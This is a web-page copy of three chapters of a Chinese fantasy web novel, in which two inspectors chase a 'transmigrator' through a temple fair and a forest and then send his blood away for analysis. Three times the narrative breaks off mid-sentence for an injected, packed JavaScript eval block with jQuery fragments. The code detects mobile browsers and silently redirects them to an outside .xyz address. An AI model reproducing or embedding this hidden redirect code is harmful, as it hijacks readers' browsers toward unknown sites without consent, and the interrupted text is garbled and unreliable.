“嗯……”沈狸双也知道每日这么多客人,若硬逼着这掌柜回想还是有些强人所难,但又不想就这么断掉这条线索,便摸出纸笔道,“掌柜的,能想起多少是多少,把你记得的关于这五个人的线索都告诉我。”
“蠢货。”夏秋桐突然语出惊人。
“你真该把你那能分辨谎言的禁物随身戴起来。”她周身真气急速涌转,还未等沈狸双发问,便素腕一翻,长剑直追着青年掌柜的咽喉送去,“拦住他沈狸双!他是穿越者!!”
19.剑上云楼
长剑破空刺出一道苍白肃杀的雪芒,像一线火星擦亮了昏暗的房间。但夏秋桐却没有切中东西的实感。
那圆脸掌柜嘴角含笑,双手一拍柜身,身子泥鳅般地向后迅速滑去,避开了她势在必得的一剑。
夏秋桐单手支住柜面,真气剁上足尖旋身而起,借着腰力将精铁长剑狠狠劈下,却只划到了一件灰色的布衫。
那青年轻功极妙,游鱼一般得灵巧轻捷,一步就退到屋子的角落。他扯下伪装的外衣向外一抛,露出里面贴身的夜行衣来。
“比我想象中的要聪明呢,我以为你们得等到走出这间铺子才会反应过来。”青年嘴角弯弯笑眯着眼,两把蛇行般蜿蜒的银亮细剑无声地滑出袖口。
“那岂不是对不起你的良苦用心?”
“哦?原来你听出来了啊。”
“什么?”他们交手的时间不过一个照面,沈狸双才刚来得及将佩剑抽出,觉得自己好像错过了不少东西。
“他先前说的每一句话,把字头相连得到的是两只蠢蛋……真是幼稚。”夏秋桐抛下一声冷哼,真气一提身子雨燕般前掠,手中长剑斜劈而下,却被青年支起两把细剑轻易架住。
“不觉得很好玩吗?在这个世界也能听到谐音梗嘞,像不像在听脱口秀?”似乎是真的觉得自己这藏头暗骂的所谓玩笑很是别致有趣,青年嘴角的笑意始终压不下来。
他抵着夏秋桐的剑,却没有选择与她角力相抗,而是偏开腿将身子一软,弧身滑到夏秋桐身后。同时左手剑尖挫在地上,点水般弹跃而起,右手细剑寒光一闪瞄着夏秋桐的后心狠狠刺去。
但夏秋桐比他更快,她向后折手,身上气势凛然一烈,长剑瞬间顶足了真气虹贯驱前。而同时,沈狸双的剑也已如疾电般袭来,他的剑气阴寒柔诡,藏着一丝腥然隐晦但沉肃的杀气。
青年后脖一凉脸色大变,他没有想到这个看似白净弱气,反应也比少女慢上半截的提刑官才是真正的高手。他夹在两道剑锋的中间,一时不知如何避及,于是一咬牙,索性鼓足内力将双剑一送,抗住了沈狸双的剑,然后借力远远飘开。
而夏秋桐一剑得手,剑尖滑上青年前胸,却摩擦出了金属交鸣的锐响。那青年居然穿了一件铁编的护心软甲,丈着夏秋桐内力不深无法力透甲胄才敢生吃她的一剑。
饶是如此他也惊出一身冷汗,那少女虽然真气孱弱内劲浅薄但出剑的角度极其刁钻诡祟,几乎每一剑都稳稳瞄住他撤身的死角。
如果说那个年轻男人的剑如万钧雷霆让他无力抵抗,那么少女的剑就像轻弱但阴绵的细雨,让他无所可避。若非自己身着铁甲,怕是就要被她一下剜中心头。
这就是提刑官的实力吗……青年心中骇然。他本以为自己靠着系统的帮助提升武功,已然算得上是一等一的江湖高手。而现下生处闹市,提刑官不敢动用禁物,只能以武功相较。所以他才敢大摇大摆地现身于此,还故意漏出破绽挑衅。
谁曾想这两个提刑官的手上功夫会这么吓人!
夏秋桐眼里绯红闪烁,沿着青年被划开的夜行衣里露出的软甲瞬间模拟算出了整件铁甲编织的结构。
她内力不足,只是单纯的对刃穿不透青年的护甲,但手编的甲胄并不是均匀无缝的一块铁皮,就像拧绳的细处,铁剑的焊点,总有最薄弱最难以受力的破绽!
于是她狼跃而前,同时改手像持匕一般反握上剑把,她的眸中,原本织行紧密的铁甲被无限放大,被一个个红色跳跃的光点标记出相对脆弱的击点——
【AAA大数据剑法】代号007——「穿甲特攻式」!
青年咬住下唇,眼中漫上难以察觉的一缕深色,再无先前那般散漫游戏的轻松作态。
夏秋桐望着他的眼睛,觉得有什么在试图渗进她的意识海,但就像一滴墨水坠入深海,荡出短促的一圈涟漪后就消散无形。
不过即便如此夏秋桐还是怔了一瞬,一往无前的剑式露出破绽,给了青年反应的时间拍碎了身后的柜台避远。
“不要看他的眼睛。”夏秋桐朝身后大喊。却没有得到回应。
晚了。
沈狸双目光茫然,怔在原地。
他看着眼前的少女拧过脑袋,张着嘴像是在说着什么,但是他听不到声音,也已然忘记了少女的名字。
他的视线里,一切都是朦胧虚白的,唯一清晰的是远处那圆脸狞笑着的男子,或者更准确的说是他那双墨色的眼睛……墨色?
不对,那是双紫色的…紫色的,温柔的,噙着泪水的眼睛。
那是娘亲的眼睛。
女人跪坐在地上,抚摸着沈狸双的脸,她披散着头发,面容满是悲伤。
“娘,你在甜汤里加了什么?”沈狸双看着她素白美丽的脸,抿了抿嘴唇,从甜里尝出了一丝腥咸的苦味,像是泪水。
“狸儿,你会怪娘吗?”女人凝望着沈狸双,澄紫深透的眸子里倒映出孩童稚嫩的面庞。
“娘,狸儿不怕。只要能保护您,狸儿什么都愿意做。”沈狸双声音有些颤抖,娘以为他不懂,但他其实早就知道了。在那个下着暴雨的夜晚,娘亲与那位看不见面容的大人站在一起,他缩在烛火照不到的帘子后,将一切都听得一清二楚。
但他是男子汉了,男子汉要保护好娘。
“狸儿,你要保护的,不是娘,也不该是娘,而是这黎明众生。”女人的手微微颤抖着,她的身旁是一个燃烧着的火盆,里面躺着一支被烧得通红的铁烙。
她一只手将沈狸双用力地揽进怀里,另一只手抬起烙铁,将赤红的,刻着星辰的烙面对准他的额心。
“狸儿,对不起。”
“沈狸双!!”
“!”
沈狸双如梦初醒,他跪在地上,全身泛着冷汗,他下意识地摸了摸眉心,那里光滑平整,并没有什么烙印。
他其实只失神了半个呼吸的时间,但此刻却像熬了一宿般疲惫。
“咦?”青年神色错愕,似乎没想到这两个人都能这么快摆脱自己能力的影响。特别是夏秋桐,几乎是在瞬间就解开了自己设下的幻觉。
他眸光一凝似乎在回忆些什么,紧接着露出恍然大悟的神色,“原来是你!”
夏秋桐没有理会他的话语,见沈狸双无碍,便猛一剁地朝青年袭去。
“怪不得,怪不得啊。”青年露出了然的笑容,他双手暗扣上身后的书架,袖口滑出两枚黑色的圆丸,“如果是你的话,那这次的任务绝对,绝对会很有意思。”
“灾厄!小心他手上的东西!”沈狸双瞄见青年手中暗蓄的寒光,急忙大喊。
夏秋桐立刻回剑撤身,用袖子捂住口鼻。而那青年用力拍碎书架,同时碾破手中圆丸,翻飞的纸页、溅射的木屑和猝然飙涌出的滚滚白烟间,夏秋桐听到青年贴近她耳边的一声低语。
“我等着你。”
她翻出匕首朝着声音的方向掷去,却只听到一声剁进木墙的钝响,扎了个空。
“上面!”沈狸双捂住口鼻,就见屋顶被撞出了一个大洞,一道黑色的身影轻快地掠出。
他想了想,用内力封住鼻腔,同时全身真气一荡,飞步上前一把抄住夏秋桐腰身,然后带着她从破洞口轻身掠出屋子。
他们刚落在屋外就听到百姓们的惊叫和议论声,显然是先前的动静太大,吸引来了人们围观。
但他们没有时间理会百姓们的指指点点,立刻目光四锁追觅青年的目光。不过似乎也不需要他们怎么寻找,因为几乎所有人都倾目于一个方向,在那庙会中央高建而起的,本用于显贵瞭瞰整个东街的花塔塔尖处,赫然立着那个一袭黑衣的穿越者!
“他是怎么上去的??”沈狸双愕然,那塔楼高达逾六丈浑然笔直,四周除了低矮的摊棚并没有任何可以借力的地方。即使是以轻功闻名据称能一叶过江海的法陀寺苇渡大师也做不到一步登
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480627|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顶,那穿越者难不成比苇渡大师的脚力还厉害?
周边的百姓也在议论这个从李记文铺里跃出,鬼影般直上塔尖的怪人。但都在讨论那穿越者是人是鬼,没有什么参考价值。
怎么办……沈狸双凝起双眉,他手上确实不乏能让他直接飞上塔尖的禁物,但众目睽睽之下是决计不能动用的。
“帮我。”他突然感到肩膀被人一拍,夏秋桐寒着脸一步走到他的身前。
他立刻意识到了对方要做什么,屈身摆出动作,但还是忍不住疑声道:“真的没问题吗?”
“信我。”夏秋桐单腿踩上沈狸双交握着的手掌,然后一拍他的肩膀,就像箭手脱开了满绷的弓弦,“站稳了!”
沈狸双弓着马步,将全身的真气汇入双掌,双臂高扬间他感受到如炮弹一般强大的后座力,但他气势沉着没有跌倒。
同时夏秋桐像流星一样飞身而起,在所有人怔愕的目光和高声惊呼中朝尖塔之上的穿越者掠去。
但即便如此,她离塔尖还是有段距离。但夏秋桐早有准备,右手蚕丝用力抛缠上塔柱,迎着花楼上客人们的尖叫高高荡起,飞旋了半道满弧后她果断松手,借着这最后的一段力将自己抛上塔尖!
塔下,所有人的目光都聚焦在她小小的身影上,塔上原本还不知道发生了什么的客人们此刻也纷纷扒出栏沿努力地扭头朝上望去。
月光下,青年望着猝然而来的剑锋抽动着嘴角。
“你他娘的到底是什么怪物??!”
他咆哮着,水银般的月辉照耀出他发青的脸庞,那圆白的一张脸上原本应该是左眼的部分此刻却是一个狰狞的黑洞,不过那只眼睛很快就蠕动地从洞口里钻出来,就像新长好了一样,诡怖至极!
但夏秋桐不为所动,一步点上塔尖,长锋瞄着预算好的软甲弱处而去。
青年没来由的一阵恶寒,系统自带的危险预知在狂啸。他立刻向后猛退,不敢再用身甲接剑,但还是慢了夏秋桐一步,剑尖滑上软甲居然准确无误地勾中了他编甲的锁眼。他下意识用手去拦,就被夏秋桐猝然变锋在掌心处狠狠划了一剑。
“怪物。”青年捂着鲜血淋漓的右掌又惊又气,见夏秋桐一步逼来忙一脚踩后。那塔尖统共不过两脚掌的宽度,他居然就这么直坠而下!
沈狸双遥望着穿越者的身影从塔上坠下,周围所有人都发出了尖厉的惊叫,他朝穿越者坠落的方向奔跑,可没跑两步就听到某处传来孩童们稚气十足的歌声。
“三,二,一。”
“秋风晓,月牙白,丧鬼报喜好运来。”
“闻不见,听不着,丧鬼乐法逗痴孩。”
他蓦然一惊怔在原地,却见唱歌的是一群围坐在李记文铺门口的童子。他立刻上前,蹲下身,强忍住心中震惊温声道:“小弟弟,你们刚刚在唱什么啊?”
那个被他问到的童子挠挠脑袋,奶声奶气地道:“大哥哥,我们唱的是丧鬼赋,是一个大姐姐下午教我们的。她给我们糖,说我们在这里等,等到月亮变红了就唱丧鬼赋。”他说着从口袋里摸出纸包的糖果来。
“嗯嗯!”另一个小孩子凑过脑袋,“她还说会有一个哥哥来问我们问题,我们到时候就把丧鬼赋唱给他听就可以了。”
沈狸双顿时寒毛冷立。他望向天空,夜朗星稀,洁白的明月高悬天际,并没有望见所谓的什么红月。
“大哥哥大哥哥,我们还有两句没唱完呢。”那孩童撒娇般地捏住沈狸双的袖子,声音软软。
其他孩童也一并点头,然后相互对视了一眼,开始齐声唱起——
“秋风晓,月牙白,丧鬼报喜好运来。”
“闻不见,听不着,丧鬼乐法逗痴孩。”
“愚娘子,蠢秀才,丧鬼捉戏笑口怀。”
“童子闹,唤娘来,丧鬼来!丧鬼来!”
沈狸双立刻意识到了什么,触电般站起身,“ 不好!欧姑娘!”
20.林深失鬼
夏秋桐眼见着穿越者蹿出塔尖,猛地一跃而前想去抓住他的衣角,却还是慢了一步。
那青年咧开嘴,迎着急坠的啸风大张开双臂,露出挑衅的笑容。大风吹散了他扎在脑后的发辫,海藻般的齐腰长发狂乱地抽扬着。
夏秋桐浑身气势一凛,真气垫灌在足下,眼前同时弹出一道鲜红的屏幕——【能力「御剑师」已启动】。
顷刻间,夏秋桐清楚地感受到了全身脉络的存在,感受到一股莫名温暖的力量灌进了她的身体。
她的所有感官在一瞬间变得分外清明,就像整个世界都对她敞开了怀抱。她曲起腿,在狭窄的塔尖上摆出起跑的姿势,寒风呼啸仿若轮船轰鸣的汽笛,但她此刻却能将塔下人们的喧闹声听得一清二楚。
她甚至能听见沈狸双在街上奔跑。
这和她平时调动神经增强自身知觉的感觉类似,但强过太多。如果说先前她做的,是给这具陈旧脆弱的身体填入新的系统,让它可以集中效能最大限度的发挥作用。那么「御剑师」则是直接增加了这具身体本身的能力上限。
不知是不是感受到了什么,夏秋桐腕上那双翼拢日的符号隐隐发烫,沧月也在渴望出鞘。
夏秋桐弓起身,深深地吸了一口气,脚掌在倾斜的塔壁上擦挫一寸,然后猛地一蹬,如收翼的猎鹰般向下急纵!
她练武不过几天,丹田里没多少内劲,所以不依靠沈狸双爆发的真气即便她拼命压缩肌肉将腿蹬到脱臼也没办法一下就蹿上六丈的高楼。
但下来就不一样了,只要找好提力卸力的规律规律与落脚点,以她叠加了「御剑师」增幅的脚力,再陡峭的塔身她也能奔驰得如履平地。
于是她在塔壁上跳跃式地狂奔,三步两步的就要往穿越者追去。可那个穿越者似乎是看到她的逼近,不知道用了什么方法,不仅下坠的速度变得更快,身影更是像被拽走的纸片一般迅速飘离花塔。最后翩然化作遥遥一个黑点扎进了城门外的树林中。
就在这时,夏秋桐的晶脑响了起来,接开后是沈狸双的语音通话。
“灾厄,你那里怎么样了?”
“我伤到了他,但是他直接坠楼跑了,落点在东城门外的将军林。”夏秋桐边蹿纵着下塔,边瞄了眼自己染血的长剑,在全开的五感下血液的腥气也变得无比清晰,“先前那掺在墨水里的东西我找到了,是他的血。”
她用长剑切开了穿越者的手掌,在他飞溅的血液里闻到了那股混在墨水中的熟悉气味。
整体浅淡得像白水,但藏着一缕若有若无的腥甜,这完全不是人类的血液该有的味道。
“很好,你找个什么东西将它收集一点。我转交给「解命师」,就能知道他的具体能力是什么了。”沈狸双边跑边道,“你从塔上下来后直接回分部等我吧,我要先赶去绣春堂一趟,穿越者们可能得手了。”
“们?什么情况,你等一下我。”
“我现在没时间等你…你先走楼梯下来……”沈狸双正说着忽然感觉到视线一暗,有什么东西遮过他的头顶像飞鸟一般掠近。
从天而降的夏秋桐一个纵身砸进地上,卸进地面的力道甚至将两块铺街的石板都震出网裂。附近游逛庙会的路人更是吓得惊呼起来。
“不是……灾厄?大小姐??你是怎么下来的?!”沈狸双猝不及防,觉得自己心脏都要骤停了。但见所有人的目光都聚集过来,忙一把扯过夏秋桐的手将她拽进巷子里。
“跳下来的,但这不重要。”夏秋桐长话短说,从怀里兜出一团染血的手绢塞到沈狸双手上,“具体回分部再告诉你,这上面是那穿越者的血…然后你现在把「经常迟到的赌徒」给我。”
“你要做什么?”沈狸双被夏秋桐这一手跳楼天降砸得有点找不到北,心里还在叨念着「她是不是真的跳楼了?跳了吗?跳了吧?!」的时候,手上已经下意识地摸出了那三枚漆黑的六面骰子。
等他反应过来时,「经常迟到的赌徒」就已经被夏秋桐劈手夺过。
“帮我挡着点别让人看过来。”夏秋桐握紧骰子合掌用力一拍,嘴里念念有词,“四海回涛,八方乘云,金麟渡霄,天命开盅——”
“灾厄你到底要做什么?”沈狸双挡在夏秋桐面前,长发被骰盅降临带来的朗朗落风拂起。他偏过头,见夏秋桐抬起素白纤长的手,十分利落地在天盘格上打出坐标。
“等一下…你不会是要?”沈狸双忽然意识到她要做什么,急道,“不可以,你一个人太危险了。”
“你还不快去绣春堂找欧姑娘?”夏秋桐一把撒出骰子,骰盅一番飞转不出意外地扣出了三个0来。她把沈狸双用力往外一推,身子逐渐变得透明,“机不可失时不再来!放心,我惜命的很,会注意分寸的。晚点分部见!”
沈狸双瞪了就要消失的夏秋桐一眼,但事发突然他一时也无计可施。只能咬牙低吼了一句“时刻保持联络”,然后快步跑出了巷子。
夏秋桐的身影抿成一线骤灭的微光,见跑出来的只有沈狸双,有好事的人往那黑漆漆的巷子里打眼望去,却已然不见那位仙女般翩然天落的少女。
至于后来怀阳多了好几篇什么放荡书生戏落凡女仙的荤头话本,那就是后话了。
下一秒,夏秋桐的身影出现在了将军林中。她迅速扫了一眼四周,然后袖手轻轻一抽,「灵掌灯」噌得扬出展开,亮起纯白温暖的笼火。
她方才在天盘格上打下的,正是通过目测与计算推断出的那个穿越者的落点坐标。虽然那穿越者的落行轨迹十分诡异,但应该也不会差别太远。
“没有脚印……”夏秋桐循着可能的落点路线仔细搜寻,却发现四周的泥地都干净得很,完全没有被人踏足的痕迹。
倘若是其他人,找不到脚印的原因可能是搜寻者的眼力不尖。但夏秋桐不一样,经由「御剑师」的增幅,在目力全开的情况下说她是人形扫描仪都不为过。
那结论就只有一个……夏秋桐仰起头,望向头顶那些在微风吹拂下沙沙作响的枝叶。
她几步就踩上了树顶,搜寻一番后再跃到临近的树上。
很快夏秋桐就发现了异常,有人在一根树枝上钉了枚削尖的木块,她注意到这木钉下似乎扎着什么东西,拔出钉子,发现那是一张被撕扯走的纸页的一角碎屑。
是南淮纸坊的竹纹宣纸。
随后她又在不同的邻搁甚远的树上发现了同样残着纸屑的木钉,说明它们原先固定着的纸全数被穿越者撕下。而那些嵌钉的树枝上则无一例外都有被人踩踏过的痕迹。
为什么?为什么穿越者要在这片树林里钉下那么多张纸?他需要这些纸做什么?是为了举行某种特殊的仪式吗?而且此处枝叶繁茂,他从那么高的楼顶坠下,却没有压到一枝一叶,这又是如何做到的?
夏秋桐遥望着树林深处,眼底盛盈出流火般的红色,如果有人现在近看她的双眼,便会发现这泽红色是由无数如水荇般纵横交错的光格密密织成的,而且每一格中竟都隐隐有画面在闪动!
【妄想剧本「丧鬼送喜」开始展开——
分集剧本「林间的鬼影」开始叙述,概率性:界定中,目前:1.27%。】
……
瀑雨如雪,沈狸双回到胡记面馆时全身都已湿透。
他将湿哒哒的外衣搭在板凳上,夏秋桐给他丢过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492400|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去一条干净的汗巾,又端来一碗热气腾腾的面条。
“吃吧,小胡给你留的。我说我们要密谈,让他们俩先去睡了。”
沈狸双点点头,许是饿得惨了,他胡乱用汗巾抹了两把头发,然后端起面碗狼吞虎咽了起来。直吃下大半碗他才缓足过气,用袖子抹了抹嘴角。
“怎么去的这么晚,这么大的雨绣春堂也没派马车把你送回来?”夏秋桐问,“他们那边怎么样了?”
“我中途去了趟衙门,李记文铺真正的掌柜已经遇害了,总不能这么放着。就是没想到回来的时候会遇到这么大的雨,失策了。”沈狸双用汗巾擦着头发,擤了擤鼻子,“我到绣春堂暗室的时候,欧钰父女已经都被放倒了,中的是江湖上最常见的迷烟。我把他们救起来后,欧若雅就发现自己背上被写了数字。”
“迷烟?他们父女武功都不低,屏息绝气这种基本功应当不在话下,怎么会中了那种劣质药烟的暗算?”夏秋桐道,“而且那密室四周封闭,出入口只有一处,若有人下来或是吹放毒烟应当十分显目。还是说穿越者利用的是通风口?”
“不清楚,但通风口是一直连在城外的,若真是从那里渗来的迷烟,那下毒的那个穿越者的能力很可能跟气流,也就是风有关。”沈狸双嚼着嘴里的面条,声音有些含糊。他说着,伸手从怀里摸出一个塞着纸封的瓷瓶扣在桌上,“至于我们对上的这个穿越者,他的能力应该是精神方面的……具体如何让解命师来查查看好了。”
“你怀疑有两个穿越者?”
“应该是,虽然穿越者们合作的情况一般不多。”沈狸双一边说一边用指尖沾了点面汤在桌面上点画,“有人教一群孩子唱丧鬼赋来挑衅我们,而据那些孩子所言那是位女子。而且我算过欧钰父女中药的时间与穿越者跟我们交手的时间相隔不远,所以很可能是两个,甚至三个穿越者作案。”
“你有问过那群孩子他们口中那个女人的样貌吗?而且我们还没……等等,你在做什么?”夏秋桐蹙起眉头,因为她看见沈狸双用面汤在桌上画了个奇形怪状的法阵,然后将那个瓷瓶摆放在那画了三只眼睛的法阵中央。
“呃呃,形状不重要,我不太擅长画画,要素对了就行。”沈狸双以为夏秋桐是在质疑他的画技,脸微微一红,“这是可以将物品存放到云端之上的阵法,用水画出就行。瓶子里是穿越者的血,我将它送到云端之上再通知解命师领取,就可以将这瓶血送到她手中。”
沈狸双说着摸出晶脑,拨过去号码,晶脑那端很快传来了说话声。但和云端上听到的优雅知性的声线不同,解命师透过晶脑传来的声音十分的嘶哑尖利,像极了指甲划在绷紧的硬帛上。
“这?”夏秋桐有些意外。
“这就是我说的,不是所有人都像我跟鹤君那样坦然。晶脑可以变声,她用了,我也用了,所以我们的声音在她那里听起来应该也跟这差不多难听。”沈狸双低声对夏秋桐解释道。
“噢!让我瞧瞧是谁打断了我美妙又虔诚的觐见之夜?原来是你这头奸恶的小龟蛇。你现在不去乖乖等待着玄祖大人可歌可泣的召唤,过来叨扰沐浴在花香中的我,所为何事?”解命师的腔调一如既往的夸张,搭配上这个刺耳的声音像是在唱一出荒腔走板的戏。
“召唤?”夏秋桐敏锐地捕捉到了字眼,“我们待会要开会吗?”
“嗯。云上集会每七天例行召开一次,时间定在子时。”
“不是前两天刚开过吗?”
“那次是为了你特地召开的临时会议,这次是例行公会,是不一样的。”沈狸双压低声音,抽擤了下鼻子,“你带好腰牌,准备在三刻钟后接入云端。”
21.病热勾香
“你带来的那位穿越者也在旁边?我感受到了她那像是野兽一般粗鲁的气息。灾厄,你将这样一个不祥的家伙带在身边是会很快完蛋的。”似乎是听到了夏秋桐的声音,解命师语调一厉,颇为厌嫌。
“她跟我共同执行一个任务,自然会在我身旁。”沈狸双暗怼说,“不要把私人情绪带到工作,还是说你希望我在玄祖大人面前参你一本?”他说这句话时偷偷看了眼夏秋桐,似乎是担心她会因为解命师的态度而受到影响。
但他很快就知道自己的担心是多余的,因为夏秋桐的表情一如既往,那就是没有表情。
“即便是尊贵的玄祖大人现在在我面前,我也会以我的忠诚宣誓,勇敢告诉祂挑选一个穿越者加入提刑司是错误的,会招致毁灭的。”解命师拧声道,语气神秘的像是个于黑夜里舞蹈的老祭司,在燃烧着盐粒的篝火里看见了什么可怕的未来。
“其他的都先打住。我现在有一份穿越者的血液,取样时间在三个时辰内,污染程度较低。告诉我你大概需要多久才能够解析出他心核携带的异能力?”沈狸双打断了解命师神神叨叨的发言,因为他怕再让对方这样自由发挥会导致把临会前的三刻钟全浪费在她的长篇大论上。
晶脑那头沉默了片刻后才道:“三天。”
“三天太晚了,你也知道我这个任务的情况,三天的时间穿越者都已经出手定妆了。”
“那最快也要两天。”晶脑那头又陷入了沉默,解命师似乎掰算了些什么,缓缓道,“这已经是我全力给你开绿灯的结果了,没法更快了。而且,我的报酬要翻倍。”
“我可以给你翻三倍。”
“那一天半。这下是真的没有余裕了。”似乎是怕沈狸双反悔,解命师回答得飞快,显得那变声更加的刺耳。
“成交,我会很快筹备好你的报酬,所以也请你尽快。”沈狸双说着摸出自己刻着玄武的黄金提刑牌,然后就着桌面敲下三短一长的击节。
然后他握住提刑牌合掌一拍,桌面上稠白的汤渍便以肉眼可见的速度沿着法阵的阵轨干涸,而法阵中的瓷瓶也犹如被擦去的素描一般兀自消失,“已交付云端,密码2580。”
过了一会,就听解命师那里传出刺耳的尖叫:“玄武?!!你这吃了乌鸦的黑心肝!你是用什么玩意当的传送介质?味道为什么会这么大??呕……该死,你玷污了我的美丽与洁净,我要重新沐浴了!”
“云樾国怀阳城分部胡记面馆的鲜汤牛肉面,味道很好你有机会可以来吃一碗,回见。”没有理会解命师的暴跳如雷,沈狸双断开了通话。他将最后一口面汤喝掉,起身收拾碗筷,夏秋桐也跟着他站了起来。
“她为什么向你索要报酬,部门成员之间的协作不是无偿的吗?”作为一个生活在工作由大数据分配的时代的AI,夏秋桐无法理解解命师索要报酬的行为,这无疑是在拖慢提刑司这个集体的效率。
“她有她自己的任务,帮我们解析那瓶血不是她的分内工作。”沈狸双似乎也很好奇夏秋桐为什么会问这种问题,因为在他心中超出限额的工作可以拒绝这本该是常识,“她的本命禁物是一品禁物,编号37的「夜晚的预言家」。这件禁物的能力可以让她通过接触来随机获取关于这件物品的信息,这些信息可能是物品的材质、某种构成、来源、拥有者…甚至是它的未来。总之获取的信息是碎片化且难以确定的,如果要获取特定的信息那她就需要长时间的静坐以「寻觅」。对身心都是巨大的消耗。”
“那她需要的报酬是什么?”
“一种叫油核苷的果实,三倍的话就是三颗,只在西胡产出,所以我这次任务结束后应该要去胡国一趟。”沈狸双走到后厨冲洗起碗筷,“她需要用这些重新制作一只「导盲鸟」,她原先的那只叫作招月,被朱雀误杀血祭掉了。所以她先前对朱雀会是那样的态度。”
“导盲?血祭?”
“她是盲人。提刑官「千枝」是公输家的人,能用禁物让木械机关做的鸟儿生出皮肉拥有生命。导盲鸟就是她专门为了解命师设计的。”沈狸双理完碗筷,回到面堂里将自己那件被雨水浸透的裘衣从凳子上捞起,“朱雀的本命禁物,78号「吻血当歌」能大幅提升他的实力,但会让他变得嗜血狂暴,且需要源源不断的血气支撑。”
让机械……拥有生命?
夏秋桐心里微微愕然,下意识地就觉得这是假的。因为在她的知识体系里,无论再精妙的机械都不可能像生物那般拥有真实的灵魂。所以这个所谓的机械生灵估计也只是在机械的骨架上滋生出一具血肉躯壳罢了,就像她现在这样。
“所以,如果我想要从云端上存放或支取东西,应该怎么做?”夏秋桐想了想,问道。
“你要存取什么东西?”沈狸双警惕起来,实在是因为夏秋桐这几日的行为都太乱来了,他怕这位姑奶奶又一声不吭地给他整个大的,“对了,我还没问,你在将军林里的调查结果是什么?”
“有一些初步的想法……但还需要验证。”夏秋桐巧妙地避开了问题。
沈狸双狐疑地看了她一眼,因为这是他第一次从夏秋桐的嘴里听到这样不确定的答案。他犹豫了一下,还是道:“你就像我一样,先画好传送法阵,用腰牌以特定的节奏敲击法阵所处的平面,就可以将物品存放在云端之上。只限于死物,单件物品,体积不大于一平方米,但使用次数不受限制。”
沈狸双生怕自己没说清楚让夏秋桐那过于灵光的脑袋又产生什么天马行空的非分之想,所以这次解释得格外认真。
“存放在云端之上的物品是公共的,可以通过设置密码来限制取用。”沈狸双说着搂了些湿衣服上的水,在桌上画了另外一个阵法,这次阵心的不再是三只眼睛,而是一簇燃烧的火焰。虽然碍于沈狸双的画技那团火凌乱的像个毛线团。
“这个是取用物品的阵法,同样是用腰牌敲击。除了用密码来领取存品,还可以直接念读禁物的名字来申领禁物。以你的权限目前可以同时调用五件三品及以下的禁物,不需要打申领报告。但满五件后你需要归还之前借用的禁物才可以重新调用。”
沈狸双说着双手合住腰牌,擤着鼻子低声念了句「会呼吸的晴天娃娃」。那用水画出来的阵法立刻泛起如麦浪般的细密涟漪,然后圆心的「火焰」开始扭曲旋转,最后啪的一声扩散着炸开。留下一块干燥温热的中心和一个躺倒着的用红线穿着脑袋的晴天娃娃。
沈狸双抚摸了一下那个娃娃,娃娃轻飘飘得浮起,像慢悠悠上升的气泡。它眨着豆粒大小的眼睛,绕着沈狸双旋转,嘟起的小嘴里呼噜噜吹着热风。
“四品禁物,可以用来当暖风机或者热菜。”沈狸双捏了下湿哒哒的领口,将最上面的一颗扣子松开,让晴天娃娃的暖风落在领页内侧,“我回房间清洗一下,你先去后院左数第一间的那个仓库里等我,那里是我们分部
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504840|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地阁所在的地方。”说着他将晴天娃娃一把塞进怀里,抓上裘衣,遮着头一股脑地冲进雨幕。
面馆后的仓库里摆了许多东西,有粮油米面,熏制的肉干,还有一些农具厨具。夏秋桐收起油纸伞搭在门边,为了避免泛进潮气将门轻轻掩上。
按宋炀的说法,每一处分部的地阁入口都有用禁物做过掩饰,只有在灵掌灯照耀下开门的机关和地窖门才会显形。
于是夏秋桐撑出灵掌灯,四下一照,以她的眼力很快就发现东面石墙上贴着的那张古旧年画上的异常。
那张泛黄的年画不知贴了多少岁月,被撕磨得不成样子,纸沿全是毛边,颜色也褪到发白。
但在灵掌温白的皙光下,那抱着锦鲤的福禄童子褪色的面容上泛出有如银锭般匀润细腻的光泽,他两只眼睛笑得半眯着,其中左眼的瞳芯里隐隐有钻石般的亮光闪烁。
这地阁机关的第二条规矩,就是只有佩戴提刑牌的提刑官触摸机关后它才会响应。于是夏秋桐用手触摸上年画娃娃的左眼,便听一身闷响,在米缸后的墙角地上,开了一个一人通行的洞口。
夏秋桐试着将灵掌灯挪开少许,让光避开那处洞口,便见无光遮耀下,那洞口居然消失不见,而在光下又复现出形迹。
夏秋桐放下灯,过去踩了两脚,发现洞口其实一直都在,但是在无光的情况下做了某种让人瞧不见的障眼法。
